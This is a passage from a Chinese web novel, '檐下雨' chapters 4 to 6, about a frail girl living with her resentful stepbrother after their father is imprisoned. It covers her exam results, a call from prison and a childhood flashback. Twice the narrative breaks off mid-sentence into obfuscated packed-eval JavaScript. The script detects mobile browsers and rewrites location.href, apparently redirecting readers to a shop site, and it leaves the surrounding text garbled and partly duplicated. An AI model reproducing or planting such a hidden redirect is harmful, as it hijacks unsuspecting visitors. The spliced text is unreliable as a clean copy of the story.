梁弛脚步略微一顿,若有所思,而后回答:“一个麻烦。” 周成扬还想追问,梁弛看了眼墙上挂着的钟表,接近十二点二十分,他不想再耽误,直接说:“走了。” 正午时分,格外热。 学校离他住的地方很近,步行十多分钟距离。梁弛拎着饭上楼,正赶上饭点,哪家做饭的香味飘出来,在走廊都能闻到。 太有烟火气息。 他下意识皱眉,步子加快。 上到三楼,一抬眼就看到门口晾衣绳上挂着的衣服。除了他早上洗的,还有两件女生的浅蓝色短袖和牛仔裤。 两件衣服紧紧贴在一起。 他几乎能想象到,她在晾衣服时有多么随手一挂,衣服贴一起也不知道挪开,还是像以前那样没有一点生活常识。 也对,母亲在世时,从不让她做家务,小到擦桌子,大到洗衣服,连厨房都没让她进去过,自然也不会教她怎么晾衣服。 梁弛嗤了一声,庆幸出门前提醒她别用厨房,否则指不定弄成什么样子。 他勉为其难地抬了抬手,帮她把两件衣服拨开。 指尖稍稍用力,短袖和牛仔裤分开些距离。 随后,两件白色的少女款式的衣料闯进视线,梁弛动作顿住,手停在了半空。 4. 檐下雨 从便利店出来,梁鲸买了面包和牛奶。 她本想找一家餐馆的,可正午的阳光太毒了,走了两条街,后背的衣服已经贴在皮肤上,呼吸也有点发紧。她不想走太远,怕半路上难受。 回到筒子楼,她在楼梯口歇了一会儿,等到汗落了一些,不那么热了才往上走。 她到三楼,从口袋里摸出钥匙才发现门锁已经开了。 出门前明明已经锁好了的。 梁鲸怔了下,只想到一种可能。 她推开门,就看见梁弛坐在餐桌前。 站在门口顿了两秒,她问:“你怎么回来了?” “我有说过不回来吗?”梁弛抬眼看了她一下,语气不冷不热。 梁鲸想了想,好像确实没有。他早上只说厨房里的东西别乱动,没说中午不回来。是她下意识觉得他要上课,中午没必要折腾一趟。 她往里走了两步,目光落在桌子上摆着的餐盒。 是两份。 梁鲸抿抿唇,觉得他不大可能回来一趟是为了给她送吃的。 梁弛把一份餐盒推到对面,自顾自拆开了另一份,不再看她,随口解释:“下午没课,我要去店里。” 原来是下午没课才回来的。 梁鲸点了点头,把面包和牛奶放在旁边的架子上,之后也坐在餐桌前,却没动筷,低头看着餐盒若有所思。 她猜测哥哥说的店里,应该是他兼职的地方。意料之中的事,从他离开家之后,爸爸就再也没有给过他生活费。他要交学费,又要生活,肯定是要找一份工作的。 一想到她现在住的屋子,还有面前的这份午饭,都是他边上学边打工赚来的,梁鲸心底就有种说不出的感觉,闷闷的。 她慢腾腾地拆开餐盒包装,小声地说:“谢谢哥。” 梁弛筷子顿了下,很短暂,又继续吃,吃相不算斯文,但也不难看,就是很快,像是不想在吃饭这件事上多花时间。 “用不着谢我。”他说,冷腔冷调的,“食堂的饭比外边便宜,你记个账,到时候还我。” 虽然他说了要还,但梁鲸还是很感激。 毕竟爸爸出事之后,那些亲戚见了她就恨不得退避三舍,连门都不让她进,她转身离开时听到他们压着腔说晦气。 相比之下,哥哥这样说,她心底反而更容易接受了。 “要谢的。”梁鲸问他,“这顿饭是多少钱?” 梁弛眼尾懒散一挑,报了一个数字。 梁鲸默念了一遍,在书包里找出本子记下来,等她再坐回餐桌前,看到梁弛看着她的神色有几分耐人寻味。 但他没说什么,于是她也不再吭声,专心吃饭。 吃完饭,梁弛没多停留,连午觉也不睡,拿起挂钩上的黑色鸭舌帽,随意地戴在头上,又压了下帽檐。 他要出门了。 梁鲸犹豫了下,在他出门前问:“哥,你工作的那个店……还招人吗?” 她本来对找工作毫无头绪,今中午听他说起店里,就想着既然那个店能接受他边工边学,那她是不是也可以去碰碰运气。 而且她还有一个私心,她刚高考完,对于找工作这件事还是内心胆怯,要是有个认识的人会踏实很多。 梁弛被她问得一脸无语,“修车店,你能去吗?” 梁鲸哑口无言。 她的身体状况稍微累点的工作可能都不能胜任,更别说是修车的体力活,况且她也不会修。 她低下头,哦了一声,没再继续这个话题。 梁弛的角度看见她整个人垂头丧气,轻哼了声,拉开门。 梁鲸想起还有件事,连忙问:“你晚上回来吗?” “不回。”梁弛扫了一眼她放在架子上的面包牛奶,淡声说:“晚饭自己解决。” 梁鲸拖着尾音又哦了声。 梁弛走出门,视线里撞进晾衣绳的衣服,脚步顿住,回头说了句:“衣服干了就收起来。” 梁鲸眨了眨眼,才发现他洗的衣服已经收起来了,晾衣绳上只剩她的衣服,挂的方式倒还跟原来一样,他应该没有看到。 只不过,她莫名还是觉得难为情。 梁鲸脸慢慢热起来,她伸手去摸衣服有没有晒干,一低头,正好看见梁弛走出楼道。 阳光洒下来,树影晃荡,斑驳落在他的身上,他却无察觉,只顾往前走。 - 下午两点半,梁弛到汽修店。 他先是到更衣间换上工装。夏天的工装是件深灰色的短袖,后背印着店名,裤子有点类似于校服裤子,很宽松的版型,也是深色系,耐脏。 他从来不把工装带回家,都是到店里就换上,下班的时候脱下来洗干净,晾在通风的地方,再穿着自己的衣服回家。 带他的师傅调侃他瞎讲究,干他们这一行的,哪个不是灰头土脸,弄得满手油污? 梁弛不接话,工装照旧天天洗,回去之后洗澡,会把手上的油污搓得一点痕迹不留。 他在这里干了三年,从大一到大三,有时间他就会过来。这家店规模很大,不缺活,老板按工时给他算钱。他只要有时间都会来店里,工作时间不比那些正式工差多少,工资也相对可观,足够覆盖他的学费和生活费。 不仅工作稳定,而且和他专业对口,能学到东西。 课本上的知识是理论。发动机原理、底盘构造这些要和实车对上号,就需要实践。可是学校里的实践课,一个班三十多号人围着一台旧桑塔纳,能轮到动手的机会也就那么几分钟。更多时候是站着看,看老师拆,看老师装,看完就下课。 但在这里不一样。什么型号的车他都能接触到,都能上手。 这也是除了赚钱外,梁弛留在这里的原因。 换好工装,梁弛走出去。 店里停了辆帕萨特,发动机异响,车主急着开。他掀开引擎盖,俯下身,耳朵凑近听了一会儿,然后伸手去拆进气管。扳手在手里转了几圈,螺丝卸下来。 汗水从额头往下,一滴一滴汇成一小股,滑过下颌,顺着脖颈落进工装布料里,浸湿了后背一大片。 手上的动作是机械的,脑海里却闪过别的画面。 那两件薄薄的衣料,奶白色,蕾丝边。 梁弛觉得头痛,他很少在修车的时候走神。大约是热昏头了。 他把进气管检查了一遍,没问题,又去拆火花塞。 动作很利索。 换完火花塞,试了一遍没有异声,车主付完钱开着车离开。 梁弛拽过那条他自己的毛巾,擦完汗,拧开一瓶矿泉水灌了几口。 老板从里屋走出来,点了根烟,靠在门框上,他给梁弛也散了根烟。 梁弛接了,摸出打火机。火苗刚要碰到烟蒂,他却又动作顿住。那根烟夹在他指间,打火机收进口袋里,最终也没点。 老板调侃了句,“怎么?要戒烟啊?” 梁弛不置可否,把瓶子里剩下的水一饮而尽。 老板吸了口烟,眯着眼看他,“一年到头,除了期末考试那几天,就没见你请过假。昨天是怎么了?” 老板这话是出于关心。 梁弛把水瓶放下:“处理点事。” 这回答有够笼统。 老板知道他不想多说,识趣地没再追问。转而聊起另一件事:“大三快结束了吧?实习找好没有?” “等秋招。”梁弛说,“已经有几个意向的企业了。” 这事老板早就想过了,人家一个华工大学的高材生,不可能一辈子在他手底下打工。实话说他这么多年见过的人当中,梁弛是少有的给他一种金鳞岂是池中之物感觉的人。既有天分又刻苦,前途自是不必说。 “你心里有数就行。”老板点点头,“到时候我给你包个红包,也算是在我这儿干了三年。” 梁弛看了看远处热浪翻腾的地方,眉心压低,没推辞。 他需要钱。 - 接下来几天,梁鲸渐渐适应了这里的生活。 实际上一天当中,她需要和梁弛相处的时间并不多,他很忙,要上课也要去店里,回来都已经很晚了,她通常已经睡下。 早饭在楼下早餐店解决,有时候他上午不用赶早八,就会做一些简单的早餐。中午他照旧从食堂带饭回来,梁鲸每吃一顿就把一顿的钱记上,晚上他都不在家,她去附近买面包或者是路边小摊。 就这么到了周末。 周末梁弛不去学校,一整天都在店里。 他中午不回来,午饭梁鲸要自己想办法。 她不太想出去买饭吃的,花费太贵了。她的钱现在只剩下一百多块,工作的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458917|201250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没有着落,前两天她出门也留意过附近的招聘信息,那种直接贴在墙上的,她停步看了很久,鼓起勇气去问。 第一家还没进门就闻见呛鼻的烟味,她顿了顿,没进去。第二家进去了,人家问她能不能长期在这里干,她愣了下,给不出确切回答。 高考成绩还没公布,她心里其实还抱着侥幸的,万一过线了呢,万一录取了呢,她还是很想继续上学的。 为着这点渺茫的希望,她没办法确定地说会在这里长期工作。 她愣神这几秒,面试她的人就有了答案。 一看就是刚出校园的小姑娘,没接触过社会,半点圆滑的心机都没有,连撒谎都不会。 那人摇了摇头,让她问问别的地方。 梁鲸才意识到,原来找工作并不是一件容易的事。 所以在找到工作之前,手里的钱更要省着花。 晚上,她问梁弛可不可以用他的厨房做饭。 梁鲸很诚恳地说:“我现在会做饭,不会把厨房弄乱的。” 梁弛睨她一眼,眉尾微挑,显然对她的话存疑。 梁鲸怕他不答应,再度认真保证:“真的,我会煮面,用完会把厨房收拾干净。” 一个以前连厨房都没进过的人,现在却主动要做饭。 梁弛唇角勾起略带嘲讽的弧度,“只煮面?” “嗯。”梁鲸声音放低,“我想省点钱……” 梁弛沉默片刻,说:“就只煮面,别炒菜。” 梁鲸连连点头。 “没有抽油烟机,味道散不出去。”梁弛别过脸,“煮面时候开窗通风。” 梁鲸又是小鸡啄米似的点头。 第二天周日,她开始试着用厨房煮面。一把干挂面,一点青菜,再加一个鸡蛋,少许的盐,一碗面的成本不到两块钱,比她买饭吃划算多了。晚餐她也自己做,除了煮面,有时候她会尝试煮一些简单的粥,成本更低。 她用完厨房,会收拾干净,每一样东西放回原位。看起来没什么变化,只是架子上多了她每天做饭要用的食材。 梁弛深夜回来,地面是打扫过的,卫生间的镜子擦得透亮,洗手台也清理过。 这些事,她以前从未做过的。 他垂眸盯着瓷白的台面,边缘缝隙里有一根头发,不仔细看很难注意到。 他指尖轻捻起来。 很长,不是他的。 不止是头发,这间屋子里似乎多了许多不属于他的痕迹。 梁弛看着这根头发,从头到尾,在指尖绕了一圈,面无表情地扔进垃圾桶里。 隔天,夏至日,气温攀升,再加上临近高考出分,梁鲸心神不宁。 等成绩出来,如果真的滑档,那她就不再想上学的事,直接找一个长期的工作。在此之前,她打算先把找工作的事搁置几天。 除了早上下楼买菜,其余时间梁鲸都窝在房间里,头顶吊扇转动着发出声响,她坐在书桌前看书。 不是梁弛书架上的书,是她从家里带出来的那本,里边还夹着那张全家福。 她把照片抽出来,看了一会儿,又放回去。 大概十点多,梁弛回来了。 上午只有一节课,快到期末了课程作业多,他先回来赶作业,再去修车店。 梁鲸不设防他突然回来,站起身。 “我有作业,要在电脑上做。”梁弛走近,把书包挂在椅背上。 梁鲸“哦”了一声,赶紧把书收起来,给他让位置。她动作急,书没合上,那张照片从里边掉了出来。 照片很轻,没掉在地上,飘飘悠悠落在了椅子上。 梁弛伸手捡起。 照片里,一对夫妻坐在前面,女人怀里抱着一个小女孩。夫妻俩挨得很近,女人的手搭在小女孩的肩膀上,男人的手放在膝盖上,三个人紧紧地靠在一起,脸上都洋溢着笑容。 而在他们身后,隔着一臂的距离,站着一个十来岁的少年。他穿着深色的衣服,表情紧绷着,没有笑。他的位置像是在画面之外被硬拉进来的,和前面三个人之间留着一道明显的空隙。 窗外的阳关照进来,落在照片上,前边三人被映亮,而后边的少年始终在阴影里。 梁弛的视线钉在上边,一动不动。 手指却慢慢攥起来,指节发白。 5. 檐下雨 照片的边角被他捏得皱起来,力度大得仿佛要沿着深深的折痕撕开一道裂口。 梁鲸心口一紧。 这张照片是为数不多的一张合照,象征着曾经那个完整的家,对她来说意义非凡。 只是现在,几近破碎。 她条件反射喊了一声:“哥……” 声调微颤。 梁弛被这声呼唤拉回神,随后,像是被针扎刺痛般,手上的力道骤然松缓。 梁鲸缓缓朝他伸出手,尽量让自己的声音放轻:“给我吧。” 听起来既像请求,又像安抚。 梁弛顿了几秒,他捏住照片一角,放在她掌心上方,两指松开,那张相片轻飘飘落在她柔软的掌心。 “收好。”他说。 梁鲸几乎有种失而复得的欣喜,她收拢手,低着头,一遍又一遍抚着照片边缘的折痕,却怎么都抚不平。 梁弛看着她徒劳,冷声接了句:“别再让我看到。” 梁鲸指尖僵了下,几不可闻地“嗯”了一声。 她把照片重新夹进书里,再装进书包,之后也不敢再跟他搭话。 梁弛坐在电脑前弄他的作业,她就尽量不走动也不发出声音,降低自己的存在感。 到了中午,梁弛仍是一动不动,电脑屏幕上是一个正在构建的模型。梁鲸看不懂这些,她步调很轻地走到厨房。 今天梁弛没从食堂带饭,她想着自己煮面算了。 袋子里挂面够两人份,她犹豫片刻,伸出脑袋问他:“哥,我要煮面,你吃吗?” 梁弛放在键盘上的手指顿住一瞬,又继续敲打,他没回头,只说:“不吃。” “哦……” 梁鲸缩回了厨房,把窗户打开半扇,先加水,水烧开再下面条。 她知道梁弛因为那张照片心里不舒服了,刚才问他吃不吃,实际上已经是她在示好了,但他没有接受。 梁鲸叹了口气。 等面煮好,她没有出去,站在厨房里把那碗面吃完。吃面的时候难免会有声响,就在自己耳朵边,以至于她没注意到外边键盘鼠标的声音都停了。 梁弛点了保存,坐在书桌前没动。 没有饭香传过来,可想而知那碗白水煮面有多么没滋味。 然而,吃饭的动静持续着。 汤水的声音,以及很细微的咀嚼吞咽声。 他听着,直到她把这碗面吃完。 但人还待在厨房里,没有走出来。 踌躇什么?害怕吗? 梁弛低头看着屏幕,后颈棘突明显,之后,他略显烦躁地关了电脑,起身出门。 听到关门声,梁鲸才反应过来他又出门了。 要么是回学校,要么就是去修车店,不过就算是去学校,他上完课还是要去修车店兼职到很晚。 这段时间里,她不用那么紧绷了。 晚上,梁鲸早早躺下。 梁弛回来的时候她其实醒着,只是不知道该说什么,索性就装作睡着了。 他不知道有没有发觉,反正匆匆洗漱完关了灯。 次日,他起得早,没叫她,也没等她一起去楼下早餐店。 梁鲸起床先发了会儿愣,肚子不饿,她懒得去吃早餐了。 等到中午,梁弛没回来。 以往他都会从学校食堂带饭回来。 梁鲸等了一会儿,见他还是没回。 她不等了,去厨房给自己煮了一碗面。 连着两天,他们几乎都是一整天都不见面,也不说话。他早上起很早出门,中午不回,晚上又很晚才回来。 梁鲸能感觉到,他在刻意疏离她。 从看到那张照片之后,他对她的态度更冷淡了。她大概能猜到原因,只是没办法开口说,怕自己再怎么解释都会显得惺惺作态。 她虽然烦恼,但也没为这件事烦恼太久,因为有了更紧要的事情。 高考成绩要公布了。 凌晨开始可以查分,她想着这个点会很拥挤,而且她手边也没有能查分的工具,于是等到了第二天。 能编辑短信或者拨打电话查分,梁鲸有手机,但她的手机欠费了。 自从家里出事后,她就没充过话费,余额坚持了这一段时间,终于在昨天,手机欠费停机了。 她手里现在只剩下几十块,真要拿去充话费,连接下来的饭钱都没有了。 只能向哥哥借。 况且看现在的情况,她没多少信心能借到。 或者可以用电脑查分。 梁鲸视线落在书桌上那台旧电脑。 那是他的电脑,她不敢在未经允许的情况下用。 向他借钱亦或是用他的电脑,左右都是要跟他开口,梁鲸想了下,选择后者。 她以为梁弛这天也会忙到很晚,但意外的是,他下午两点左右就背着书包回来了。 梁弛进了门,直接坐在书桌前。 他从书包里翻出专业课本,坐姿很规范,脊背挺直,脖颈微微低垂,笔被他夹着指间,时不时圈圈点点。 期末周,要复习很正常。 梁鲸只是没想到他会回来。 既然不想看见她,那为什么不选择图书馆之类的地方复习呢? 她有些想不通,也不愿多想。 查分的事萦绕在她心头,她抿了抿唇,朝他那边挪了两步,小声地喊“哥”。 梁弛淡淡应了声“嗯”,低着头看书,没抬眼。 梁鲸深呼吸,鼓起勇气问:“你的电脑现在不用的话,能不能让我查一下分数?” “高考成绩出来了?”梁弛问。 是在提问,却没有半点疑惑的语气。 梁鲸点点头。 梁弛终于偏过头,打量她。 他坐在椅子上,她站着。他略抬眼皮,算不上仰视,能看清她细微的表情,神色不大好看。 梁弛站起身,让出位置,下巴点了点电脑,示意她查分。 梁鲸坐在他刚刚坐着的位置,椅子上似乎还有余温,也可能是她太紧张的心理作用。 她点开所在省份的教育考试网,一个一个输上准考证号,手有点抖,输错好几次又删掉重输。 梁鲸深吸一口气,最后一次一遍输对。 心脏跳得很快,连带胸口发闷,她深吸了好几口气,才点击确认,抬头看向屏幕。 随后,怔住。 那个分数,是她几轮模拟考从未考过的低分。 意外吗? 也并不。 从考试结束她就知道成绩不会好,但还是存了那么一点侥幸,万一呢? 没有万一。 梁鲸盯着屏幕看了很久,眼底的亮光寸寸黯淡,她一时有些茫然无措,坐在这里不知道该做什么。 怎么办怎么办?这句话盘踞在她胸口,她惶惶然抬起头,在和梁弛对视上后,她的眼眶蓦地红了。 他也看到了屏幕上的分数,什么都没说,沉默地看着她。 眼泪落下之前,她仓皇低头,关掉了页面,低低细细的腔说:“谢谢,我查完了。” 梁弛仍是没说话,眉目沉沉。 这样也好,他要是真安慰她,她反倒会觉得奇怪。而且,她现在也不需要安慰,她需要透透气。 梁鲸觉得这间屋子闷得快要窒息了。 她走出去,站在走廊上。 已经下午了,日光仍盛,照得人睁不开眼睛,梁鲸眯着眼,这么一晒,也没有眼泪了。 她把手臂搭在栏杆,往楼下那棵树看去。 很高大,枝叶繁茂,和她高中学校里有一种绿化树很像。 她忽然间想起了很多在霖城时候的事,也想到了和爸爸的约定。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458918|201250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 等出成绩了要第一个告诉爸爸。 她在外边待了很长时间。 梁弛一直没出门,他下午不用去修车店吗?可能是期末周太忙,他请假了吧。 梁鲸乱糟糟地想着,仿佛胡思乱想就可以填满那点不知所措的缺口。 可惜无济于事。 手机铃声响了。 她昨天才欠费,现在单向停机,不能拨号只能接通电话。 来电显示是一串固话号码。 梁鲸轻咬下唇,按了接听。 那头传来许久都未听到的声音,沙哑的,带着一丝小心翼翼,叫她的小名:“小鱼……” “爸,是我。”梁鲸鼻尖一酸,不知道说什么,只能干巴巴地问:“你现在还好吗?” 梁世宏回她:“还好。” 这两个字说得格外艰难。 他又问起女儿近况,梁鲸也说一切都好。怕爸爸担心,她没有详说现状,只说哥哥收留了她。 梁世宏听到这句,沉默数秒,“他……对你好吗?” “嗯嗯,很好。”梁鲸说。 “那就好。”梁世宏长长叹息,有些哽咽。 又说了许多,监狱里通话是有时间限制的,剩下一分多钟时,梁世宏问:“成绩出来了吗?” “出来了……” “考得怎么样?” 梁鲸低下头,手指绞着衣角,“和模拟考差不多。” 梁世宏知道她之前模拟考的成绩,很出色。他笑起来,带着如释重负的感觉,“那就好,报的志愿应该稳了。” 梁鲸“嗯”了一声,胸口闷得几乎喘不过气。她把手机拿远了点,反复吸气呼气。 梁世宏又想到学费问题。 尽管梁鲸自己也在为钱的事发愁,可面对爸爸,她还是说让他别担心,“可以申请助学贷款,我问过了,很方便的。” 梁世宏又说了一遍那就好。 通话时间快要结束,他只得嘱咐她几句,然后说:“下个月爸爸再打给你。” 梁鲸来不及应,电话已被切断。 她转过身,背对着栏杆,缓缓蹲下,把脸埋在膝盖里。 记忆中,这是她第一次对爸爸撒谎,还是一个弥天大谎。 比她想象中要容易说出口,也比她想象中更加难受。 眼泪在这一刻终于涌出来。 她没有哭出声,只肩膀微微抖动,裤子的面料被打湿。 好半晌,她抬起头。 面前的人不知何时出现,斜倚在门框上,居高临下地看着她。 这不是梁弛第一次见她哭。 和以前一样,她连哭都是压抑的。 整个人缩成一团,睫毛濡湿,眼底爬上红血丝,嘴唇抿得充血,哭起来会呼吸不畅,脸颊脖颈的皮肤都都泛着红。 真可怜呀,妹妹。 梁弛蓦地弯下腰。 梁鲸以为他要拉她起来,下意识后缩身子。 可他好像只是为了让她听清他说话。 “梁世宏如果知道他的女儿学会撒谎了,会怎么想?”他问她,语调平淡。 对于爸爸,他一贯都是直呼其名,梁鲸听惯了,并不感到奇怪,但每次听,心底还是会泛起难受。 如果是平时,她不会回他。谈及和家里话题,无论回什么总避免不了令他不悦。 今天不同。前几日的冷待,成绩,再加上爸爸的电话,她的情绪已经在崩溃的边缘,最需要最后一根稻草就能压垮。 恰好他说了这句话。 “我知道你一直都在怪爸爸。”梁鲸停顿了下,接着说,“也在怪我。” 梁弛直起身,并未否认。 梁鲸手臂扶着栏杆,蹲了太久,她的脚发麻,站起的动作很慢。 她看着他,眼角泪痕犹在,质问:“可我又做错了什么呢?” 6. 檐下雨 1992年春天,林禾经人介绍认识了梁世宏。 短短一个月,他们就结婚了。没有通知亲朋好友,没有办酒席,连结婚证也是后来才去领的。 林禾觉得,二婚嘛,没必要弄多大场面。她在一个傍晚,带着三岁的儿子搬进了梁世宏的家里,当时春寒料峭尚未褪尽,夜风吹着,冷飕飕的。 她牵着儿子冰凉的小手,推门进去,指了指屋里高大的男人,说:“快叫爸爸,以后他就是你爸爸了。” 三岁的小男孩不理解,为什么要叫一个只见过两次的男人爸爸,他明明有爸爸的,只不过他爸爸埋进土里再也叫不醒了。 男孩没叫,林禾不动声色捏了捏他的肩膀,催促他快叫。 男孩依旧不吭声。 僵持了有两分钟,梁世宏不大耐烦地说:“进来吧。” 他的烦躁倒不是因为男孩不称呼他,而是为了他刚满月不久的女儿。 一个多月前,他的女儿出生了。 女儿的亲生母亲是他谈的女朋友,那是个很漂亮的女人,性格张扬,爱玩,脾气也不太好,但她的漂亮足够弥补这些缺点。 两人是未婚先孕,打算孩子生下来就结婚。 可女儿生下来后,被诊断为先天肺发育不良,躺在医院的保温箱里。 医生说,成活率不高,看孩子造化了。而且就算活下来,也需要常年用药,精心呵护,不是一笔小开销。 隔天,原本应该在产房的女人悄无声息地离开了,梁世宏再也联系不上她。 他看着保温箱里孱弱的女儿,咬咬牙,决定无论如何也不能不管。 他要上班挣钱,不能时时照顾女儿,家里需要一个女人操持,于是他在和林禾见了两次面后,就决定要娶她。 拼拼凑凑,竟也成了一个四口之家。 女儿在保温箱里待了一个月,直到能自己吃奶不呛、体温稳定才出院回到家里。 梁世宏焦头烂额这么久,连女儿的名字都没起。 后来,给女儿起名字和给继子改名,选在了同一天。 林禾把小女婴抱在怀里,红扑扑的脸蛋,眼睛滴溜溜跟葡萄似的,她越看越喜欢,碰了碰女婴的小鼻子,问丈夫:“要不就叫梁鲸吧?鲸鱼的鲸。” “鲸鱼?”梁世宏重复了一遍。 林禾笑了笑,“嗯,有一个很大的肺,能在水里待很久。” 梁世宏觉得这个寓意很好,点头认同。 林禾又说:“正好明天上户口的时候,把小弛的姓也改了。” 一旁的小男孩抬起头,看着眼前这个温婉的女人,他的母亲。 他的名字也是母亲取的,弓也弛,母亲说,希望他这辈子不要太紧绷,过得舒坦一些。 从今以后,他就叫梁弛了。 他有一个妹妹,叫梁鲸。 他好奇地看着母亲怀里的婴儿,好小啊,小小的脸,小小的手,连哭声也很小,细细的、断断续续的,像是喘不上气,哭一会儿就要停下来歇一歇,然后再哭。 “妹妹是不是很好看?”林禾问,逗小孩的语气,三岁的孩子哪能分辨出来好不好看。 梁弛果然没回答这个问题,他问:“什么是妹妹?” “妹妹呢,就是你要一辈子保护她,一辈子对她好的那个人。”林禾轻晃着小婴儿。 梁弛似懂非懂地“哦”了一声。 晚上,梁弛自己一个房间,那原本是个储物间,现在腾出来给他住了。 梁鲸则是睡在婴儿床里,婴儿床放在梁世宏和林禾的卧室。 林禾跟梁弛解释:“妹妹还小,身子弱,需要人照顾,所以妈妈得看着她。” 梁弛点点头,大概能懂。 只是晚上一个人躺在床上,听着隔壁房间传来母亲轻柔的声音,“小鱼不哭,妈妈在呢。” 他难免会想起从前都是母亲抱着他哄睡。 他的母亲现在成了别人的妈妈了。 三岁以内,梁鲸的身体格外得弱,一到换季,总要去趟医院。 林禾在医院守着她,梁世宏白天在厂里上班,晚上也会去医院,两人替换着照看梁鲸,让对方去吃饭。 吃饭就在医院附近的小摊。 晚上医院里没有睡觉的位置,其中一个人只能回家。林禾想着梁世宏白天要上班,需要好好休息,让他回家睡觉。 梁世宏回去通常很晚。 他绷着脸,苦大仇深的样子,梁弛不喜欢和他独处,所以他回去的时候,梁弛就会待在自己房间。 梁世宏没看到人,也没想起这茬,回去倒头就睡。 林禾在医院照看梁鲸也费神,间隙里想起家里还有个四岁的儿子,问梁世宏:“小弛吃饭了吗?” “吃了吧。”梁世宏说,“给他留了钱。” 林禾每每带着病好的梁鲸回到家,一见到梁弛,总觉得这孩子好像瘦了,她也不晓得是不是错觉。 她心里不太是滋味,只能又一遍跟孩子解释:“妈妈对小鱼好,其实也是为了让爸爸更认可我们,你懂吗?” 梁弛看着她,不说话。 林禾揉揉眉心,她也是糊涂了,跟一个小孩讲这么复杂的东西。 但是扪心自问,也不全是因为这个,她给梁鲸取了名字,就像一个短短的咒语,这个小女孩和她有了羁绊。 刚满月就被她抱在怀里的孩子,跟她的亲生女儿有什么区别?这就是她的亲生女儿。 相比起健康的儿子,这个脆弱的女儿更需要她,她自然就把更多精力放在梁鲸身上。 林禾安慰自己,小弛一向懂事,会理解她的选择。 体质弱的缘故,梁鲸一岁多了还不会走路。力气不够,她比别的孩子学得慢一些。每天扶着沙发练习站立,站一会儿就喘,嘴唇发紫,林禾赶紧把她抱起来,拍背,喂水。 这个时候,梁弛就在一旁看着。 林禾关注着梁鲸,梁弛看着她们。 又过些时日,梁鲸开始叫人了。会叫爸爸,会叫妈妈,但不会叫哥哥。 林禾教她,“叫哥哥,哥——哥——”。 梁鲸张了张嘴,发出一个模糊的音节,像是“得得”,然后笑起来,露出四颗小牙齿,嘴角还有口水。 林禾夸她真棒。 梁弛捂住耳朵,他不喜欢听。 不喜欢听她叫哥哥,也不喜欢她占着母亲所有的时间,不喜欢她半夜哭闹吵醒全家,不喜欢母亲每次看她时眼睛里那种小心翼翼的光,仿佛她是什么易碎品,碰一下就会碎。 七岁那一年,梁弛淋了一场雨。 其实他带伞了,但没有撑开。那时候他在想,要是淋一场是不是就会生病了,如果生病的话,母亲是不是就可以像照顾妹妹一样照顾他? 梁弛浑身湿着回到家里,林禾在给梁鲸吹头发,没看他。 是从什么时候开始,母亲的目光只落在妹妹身上的? 梁弛不知道。 只知道那天晚上他如愿发烧,而母亲依旧在妹妹床前,他起床自己量体温,自己吃退烧药,自己把毛巾打湿敷在额头上。 之后闭上眼睛,睡不着,脑子里嗡嗡的,像是有一群蜜蜂在飞。 他敲了敲脑袋,想不明白,母亲,你说你对她好,是为了让那个男人认可我们,那为什么你的眼里渐渐没有了我的位置? 睡醒的时候烧已经退了。 梁弛也不再期待得到关注。 他学会了独自上学,学会了给自己做饭,学会了在开家长会的时候和老师说,家长很忙没有空来。 也习惯了身后多了个小尾巴。 梁鲸到了上小学的年纪,和他在同一所学校,因为身体弱,别的小朋友不和她玩,她就总跟着他。 后来,他升到初中,她跟不了了。 再后来,他学会了抽烟。 烟钻进喉咙里,转了个圈,再吐出来。这一刻,他不用去想别的,只需要想手中的烟何时燃尽。 他背着家里人,在外边抽。 靠在巷子的墙上,仰着头,看烟雾在雨里散开。雨丝细细的,穿过烟雾,落在他脸上,凉的。 抽完也不敢回家,过了好半天才回去。 明明都闻不到味道了,偏偏那个小丫头鼻子灵,皱着眉说:“哥哥,你身上什么味道?” 林禾问他怎么回事,是不是抽烟了? 梁弛没否认。 林禾一巴掌直接扇在了他的脸上。 那是母亲第一次扇他巴掌,不重,但很响。啪的一声,在安静的客厅里格外清晰。 梁弛的脸偏向一边,脸颊上热辣辣的。 “你什么时候学会抽烟的?”林禾打完就有些后悔了,手掌迟迟没有收回,她用恨铁不成钢的眼神,“你知不知道妹妹闻不得烟味?” 又是妹妹。 梁弛看向站在母亲身后的女孩,女孩脖子缩了缩,圆眼睛怯生生的。 林禾察觉到他的视线,抱着梁鲸进了屋。 梁弛站在原地,摸了一下被扇的那边脸,走进卫生间,打开水龙头,捧了一把凉水泼在脸上。 他抬头对着镜子,脸颊红了一片,像个印记。 那之后一直到高中毕业,他没再抽过烟。 高中时期,梁弛认识了机车行的老板。 那个老板比他大很多,姓李。 梁弛称呼一声李哥。 他不想回家的时候,就待在机车行里,或者去一些其他能赚到钱的地方。 很短的时间,他用自己赚的钱买到了人生第一辆机车。 林禾看到,问他哪里来的。 梁弛让她别管。 林禾皱起眉,想说什么,又觉得这些年都没怎么管,现在又有什么资格管教他。 上次那一巴掌,已经把他推远了。 最终,她叹息着,“你还小,少和社会上那些人打交道。” 梁弛没听她的。 回家的次数越来越少。 直到高三那年,林禾住院了。 发现的时候已经是晚期了。医生说还有三个月,最多半年。 梁世宏请了假,全天都在医院里。林禾不想让孩子们知道的,两个孩子,一个快要中考,一个快要高考,她担心会影响孩子们。 但纸终究包不住火。 是梁鲸先觉得不对劲,爸爸妈妈都不在家,说是有事要忙,一连几天不回来,太奇怪了。她见不到人,也不知道去哪儿找,只知道梁弛高中的位置。 